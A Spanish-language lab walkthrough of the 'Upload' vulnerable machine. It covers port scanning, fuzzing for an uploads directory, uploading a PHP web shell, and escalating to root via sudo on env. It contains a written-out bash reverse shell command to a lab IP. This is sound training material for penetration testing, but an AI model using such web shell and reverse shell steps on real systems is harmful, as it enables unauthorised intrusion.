Upload
Last updated
Last updated
Descargamos la máquina Upload desde la plataforma de .
Descomprimimos el archivo upload.zip
.
Para desplegar la máquina, ejecutamos el siguiente comando:
Para ver si la máquina está encendida y comprobar que no tengamos ningún problema de conectividad, lanzamos un ping.
Enviamos un paquete y recibimos el paquete de vuelta, por lo que la máquina está activa. Además, podemos deducir que se trata de una máquina Linux por el valor del TTL (Time To Live).
Para ganar acceso al sistema, necesitamos encontrar alguna vulnerabilidad en los servicios que están corriendo en la máquina. Por eso, lanzamos un escaneo de puertos para descubrir cuáles están abiertos.
El único puerto abierto es el 80. Debe haber un servicio web.
Ahora lanzamos un escaneo más exhaustivo que nos permita obtener un poco más de información sobre el servicio, incluyendo su versión.
Accedemos a la página web a través del navegador y, tal como nos lo había adelantado el http-title
en el escaneo de nmap
, nos encontramos con un campo de subida de archivos.
La primera aproximación es subir un archivo php malicioso. Primero vamos a intentar subir uno de prueba para ver si efectivamente nos permite subirlo o si existe alguna restricción con respecto a la extensión del archivo.
Creamos un archivo prueba.txt
con el siguiente contenido y lo subimos.
El archivo se ha subido exitosamente, por lo que el siguiente paso será averiguar en qué ruta se encuentran almacenados dichos archivos. Para hallarla, aplicamos fuzzing con la herramienta ffuf
.
Encontramos la ruta /uploads
.
Se trata de la ruta que estábamos buscando. Podemos ver que allí se encuentra el archivo prueba.php
que acabamos de subir.
Además, podemos comprobar que la web interpreta código php.
Ya estamos listos para subir un archivo php malicioso.
Creamos una web shell sencilla:
La idea es llegar a ejecutar comandos en la máquina que vamos a controlar a través del parámetro cmd desde la propia URL.
Subimos el archivo cmd.php
:
Ejecutamos el comando whoami
a través de la web shell y comprobamos que tenemos ejecución remota de comandos como el usuario www-data
.
Para ganar acceso al sistema:
Nos ponemos en escucha por el puerto 443:
Pasamos el siguiente comando como valor del parámetro cmd:
bash -c 'bash -i >%26 /dev/tcp/192.168.229.128/443 0>%261'
⚠️ %26 equivale al & en URL Encode.
Deberíamos recibir una consola como www-data
:
Buscamos por privilegios a nivel de sudo con sudo -l
.
Podemos ejecutar como root el comando /usr/bin/env
.
Existe una forma de abusar de este comando para convertirnos en root de la siguiente manera:
Esta forma de escalar privilegios a través de env está documentada en .